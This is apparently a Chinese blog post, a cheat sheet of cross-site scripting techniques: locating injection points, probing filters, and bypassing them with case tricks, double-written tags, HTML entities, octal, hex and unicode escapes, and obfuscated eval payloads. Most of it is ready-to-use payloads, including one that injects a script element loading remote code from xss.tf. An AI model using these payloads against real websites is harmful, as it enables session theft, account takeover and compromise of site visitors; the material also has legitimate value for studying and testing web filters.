xss姿势利用

1.定位页面可以出现xss的位置

可能会出现联合点利用 一个页面多个存储位置或者一个页面多个参数联合利用

例如输入xss 查看页面源码页面里有多个xss 或者多个参数显示 可以利用

需要注意的是有的是js动态加载标签 或者iframe嵌套 框架嵌套 需要去审查元素

如果xss位置在js 可以直接利用js弱语言的特性直接写js

如果xss位置在html 标签属性中 可以先判断闭合条件 '和" 利用伪协议写js

如果是>< 标签内 可以直接写html 标签 值得注意的是有些标签自带htmlEncode功能

<textarea></textarea>

<title></title>

<iframe></iframe>

<noscript></noscript>

<noframes></noframes>

<xmp></xmp>

<plaintext></plaintext>

<math></math>

这些标签需要先闭合不然标签输出的都是文本

2.快速判断过滤

'"<>script onsss javascript 输入是否成功回显 或者判断是否被过滤/转义

3.常见绕过

8进制,16进制,html实体编码 String.fromCharCode()还原ascii

大小写 ,双写,过滤顺序,注释换行逃逸

4.payload 编码利用

<SCRIPT SRC=x ></SCRIPt> 大小写 利用

<SCrIPT SRC=http://x/x ></ScRIPt>

alert(1) html实体编码 利用

<img src=1 ONERROR= "%0ajavascript:%0calert%0d(/xss/);" width=100> 空字符

<script>eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 41))</script> ascii 转义

<script>alert`1`</script> 反引号带替()

<script>$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({}+"")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+"\""+$.$_$_+(![]+"")[$._$_]+$.$$$_+"\\"+$.__$+$.$$_+$._$_+$.__+"("+$.__$+")"+"\"")())()</script> jj编码 后 要在用url编码

eval('\x76\x61\x72\40\141\75String.fromCharCode(49);\u0061\u006c\u0065\u0072\u0074\u0028a\u0029;') eval采用混编 16进制 8进制 10进制 unicode编码

5.绕过姿势

利用H5新标签,DOM编程,编码,浏览器差异解析绕过

探测有哪些是被wa了的 '">script img onerror 在探测waf规则...

<scr<script>ipt>alert(/XSS/)</scr<script>ipt> 过滤时双写或者大小写

黑名单绕过比如alert被禁时 可以试试prompt/confirm

<div style=xss:\0065xpression(alert(1))> 仅限IE

<a onmouseover=\u0074> 通过on事件/伪协议的执行js 后渲染的js 全部可以用各种编码混编

所以我们大多是绕过对伪协议的限定

不常见便签来绕过黑名单

isindexanytagobject marqueeaudio,video,embed,svg等

tab 绕过 javascri p t 记住要;结尾 这也是利用的js弱语言特性

注释符逃逸 %0a %0c %0d 换行符 %00只在ie8下有用

DOM 编程 例子

<img src='1' name=javasCript:s=document.createElement%28"sCript"%29;s.src="//xss.tf/zuQ";document.body.appendChild%28s%29 onerror=location=this.name />

iframe 的srcdoc 标签利用

posted @ 2019-05-16 16:56  紅人  阅读(730)  评论(0编辑  收藏  举报